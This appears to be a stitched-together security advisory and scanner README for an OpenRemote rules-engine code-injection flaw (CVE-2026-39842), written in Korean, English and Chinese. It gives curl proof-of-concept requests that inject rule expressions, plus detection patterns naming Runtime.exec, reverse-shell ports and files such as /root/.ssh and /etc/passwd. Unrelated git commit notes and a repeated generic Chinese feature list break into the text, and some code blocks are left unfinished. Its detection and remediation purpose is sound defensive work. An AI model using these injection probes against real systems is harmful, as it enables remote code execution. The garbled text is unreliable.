git commit --allow-empty --no-edit
这将创建一个空的提交,而不会打开编辑器。
--no-edit 和 --reuse-message 组合如果你想要重用现有提交的消息而不打开编辑器,可以组合使用 --no-edit 和 --reuse-message 标志:
git commit --reuse-message=<commit> --no-edit
[*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+
#### 예시: 출력이 포함된 다중 대상```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15
File targets.txt:```
http://192.168.1.100:8080
http://192.168.1.101:8080
https://openremote.example.com:8443
http://10.20.30.40:8080
Expected output in `results.csv`:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner
예상되는 상세 출력:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
Response Code: 200
Server: Apache
Content-Type: text/html
[*] Checking /api/info
Response Code: 200
Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES
openremote-detect.nse 스크립트는 취약점 스캐닝을 위한 Nmap 통합을 제공합니다.
cp openremote-detect.nse /usr/share/nmap/scripts/ nmap --script-updatedb
#### 사용법```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>
nmap -p 8080 --script openremote-detect 192.168.1.0/24
## 功能
- **多平台支持**:支持 Windows、Linux 和 macOS。
- **多协议支持**:支持 HTTP、HTTPS、SOCKS4、SOCKS5 和 SSH 隧道。
- **多线程**:支持多线程并发扫描。
- **可配置**:支持自定义扫描参数。
- **易于使用**:提供简单的命令行界面。```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.21.0
| Vulnerable: YES
| CVE: CVE-2026-39842
|_ CVSS: 10.0 Critical
Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.22.1
| Vulnerable: NO
| Fixed Version: 1.22.0
|_ Status: Patched
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
예상되는 상세 출력:```
| openremote-detect:
| Host: 192.168.1.100:8080
| Detection Method: HTTP Banner Analysis
| Probe Endpoint: /api/info
| Response Code: 200
| Version: 1.21.0
| Version Detected: YES
| Vulnerable: YES
| CVE-2026-39842: AFFECTED
| CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| CVSS Score: 10.0
| Fix Available: YES
| Fixed Version: 1.22.0
| Authentication Required: YES
| Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_ Endpoint Vulnerable: POST /api/{realm}/rules/asset
curl을 사용하여 수동 검사를 수행하여 취약점을 검증합니다:
1. OpenRemote 버전 확인```bash curl -s http://target:8080/api/info | jq .
## 功能
- **多平台支持**:支持 Windows、Linux 和 macOS。
- **多协议支持**:支持 HTTP、HTTPS、SOCKS4、SOCKS5 和 SSH 隧道。
- **多线程**:支持多线程并发扫描。
- **可配置**:支持通过配置文件或命令行参数进行配置。
- **可扩展**:支持通过插件进行扩展。
- **易于使用**:提供简单的命令行界面。
- **开源**:基于 MIT 许可证发布。```json
{
"version": "1.21.0",
"name": "OpenRemote",
"instanceId": "instance-123"
}
2. 규칙 엔드포인트 확인```bash
curl -s -H "Authorization: Bearer TOKEN"
http://target:8080/api/master/rules/realm | head -20
If returns 401 or 403, endpoint exists but needs authentication.
**3. Authenticate and Test Expression Injection**```bash
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "test_rule",
"trigger": "timer",
"ruleExpression": "1 + 1"
}' \
http://target:8080/api/master/rules/realm
If successful creation and version <= 1.21.0, the instance is vulnerable.
4. JavaScript 실행 테스트 (개념 증명)```bash
curl -X POST
-H "Content-Type: application/json"
-H "Authorization: Bearer YOUR_TOKEN"
-d '{
"name": "poc_rule",
"trigger": "timer",
"ruleExpression": "var x = 5; x * 2;"
}'
http://target:8080/api/master/rules/realm
**5. 영역 이름 식별**```bash
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/admin/realms | jq .[].name
Common realm names: master, default, main
애플리케이션 로그에서 다음 패턴을 검색하세요:
JavaScript 페이로드를 포함한 규칙 생성``` Pattern: POST /api/./rules/. with JavaScript containing Java.type Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
**규칙 내 명령 실행 시도**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
Java에서의 예기치 않은 프로세스 실행``` Pattern: Child processes spawned by OpenRemote Java process Command: ps aux | grep -i openremote Look for: bash, sh, curl, wget, nc spawned by java process
**파일 시스템 접근 이상 징후**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
데이터베이스 접근 패턴``` Pattern: SELECT queries accessing other realms' data Anomaly: Queries from rules engine accessing cross-tenant data Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
### 네트워크 지표
**OpenRemote 프로세스의 아웃바운드 연결**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
리버스 셸 콜백``` Pattern: Outbound TCP/UDP connections from port 8080 server Destinations: Suspicious IPs, non-standard ports Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
**측면 이동 시도**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
OpenRemote 디렉토리의 의심스러운 파일``` /opt/openremote/.backdoor /opt/openremote/shell.sh /opt/openremote/config/stolen_data.txt /var/tmp/openremote_exploit /tmp/.java*
**수정된 OpenRemote 바이너리**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
Cron 또는 지속성 작업``` cat /etc/cron.d/* | grep openremote cat /var/spool/cron/crontabs/* | grep -i java cat ~/.bashrc ~/.bash_profile | grep -v '^#'
### 메모리 및 프로세스 지표
**의심스러운 환경 변수**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
메모리 상주 페이로드``` strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
---
## 수정 조치
### 즉시 조치 (0-24시간)
**1. 수정 버전으로 업그레이드**
완전한 수정은 OpenRemote 1.22.0+에서만 제공되며, 이 버전은 JavaScript 규칙 엔진을 완전히 제거합니다.```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql
# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote
# Verify version
curl -s http://localhost:8080/api/info | jq .version
2. API 액세스 제한
즉시 업그레이드가 불가능한 경우, 방화벽/리버스 프록시 수준에서 취약한 엔드포인트에 대한 액세스를 제한하십시오:```nginx
location ~ ^/api/.*/rules/ { return 403; }
**3. 활성 규칙 감사**
기존 규칙을 모두 나열하고 의심스러운 JavaScript가 있는지 검토합니다:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm | \
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
Delete any rules containing Java interop:```bash
curl -X DELETE
-H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/master/rules/realm/{RULE_ID}
**4. 액세스 로그 검토**
지난 30일간의 악용 시도 여부를 확인합니다:```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
grep -i "java\|runtime\|exec\|type"
5. 자격 증명 순환
잠재적으로 노출된 모든 자격 증명을 순환하십시오:```
### 단기 조치 (1-7일)
**1. 네트워크 분리**
OpenRemote API 접근을 승인된 네트워크로만 제한합니다:```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
2. 역할 감사
write:rules 역할을 가진 사용자를 검토하고 최소화합니다:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/admin/users |
jq '.[] | select(.roles | contains("write:rules"))'
Remove `write:rules` 역할을 모든 필수적이지 않은 사용자로부터 제거합니다.
**3. 요청 로깅 활성화**
모든 API 요청에 대한 상세 로깅을 구성합니다:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
4. 데이터베이스 감사
특정 날짜 이후에 생성된 악성 규칙을 데이터베이스에서 검색합니다:```sql SELECT id, name, ruleset_def, created_on FROM RULE WHERE created_on > '2026-04-01' AND ( ruleset_def LIKE '%Java.type%' OR ruleset_def LIKE '%Runtime%' OR ruleset_def LIKE '%exec%' );
**5. 위협 헌팅**
OpenRemote 서버에서 전체 보안 스캔을 실행합니다:```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/
# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings
# File integrity verification
aide --check
1. 시스템 하드닝 완료
2. 접근 제어 구현
3. 애플리케이션 보안
4. 모니터링 및 알림
SIEM 탐지 규칙 배포:``` Alert on:
**5. 사고 대응 계획**
사고 대응 절차를 수립하고 테스트합니다:
- 손상된 OpenRemote 인스턴스에 대한 격리 절차
- 포렌식 수집 절차
- 영향을 받은 고객에 대한 통지 절차
- 복구 및 정리 절차
- 사후 검토
**6. 지속적인 모니터링**
지속적인 보안 모니터링을 구현합니다:```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
$(cat /etc/openremote/monitored_hosts.txt) \
--script-args 'onerror=continue' \
-oX /var/log/openremote-scan.xml
# Automated alerts for vulnerable versions
if version <= 1.21.0; then
send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
Kerem Oruc
보안 연구원, 취약점 공개
이 취약점에 관한 질문, 보고 또는 추가 정보가 있는 경우 책임 있는 공개 채널을 통해 작성자에게 연락해 주시기 바랍니다.
최종 업데이트: 2026-04-16 버전: 1.0 상태: 공개
| 항목 | 세부 사항 |
|---|
| CVE ID | CVE-2026-39842 |
| GHSA ID | GHSA-7mqr-33rv-p3mp |
| 취약점 유형 | 코드 주입 / 표현식 언어 주입 |
| CVSS 점수 | 10.0 (Critical) |
| CWE | CWE-94, CWE-917 |
| 제품 | OpenRemote |
| 영향받는 버전 | <= 1.21.0 |
| 수정된 버전 | >= 1.22.0 |
| 인증 필요 | 예 |
| 필요 권한 수준 | write:rules 역할 (비-슈퍼유저) |
| 취약한 엔드포인트 | POST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset |
| RCE 실행 권한 | root |
| 악용 가능성 | 높음 |
| 복잡도 | 낮음 |
| 발견 날짜 | 2026 |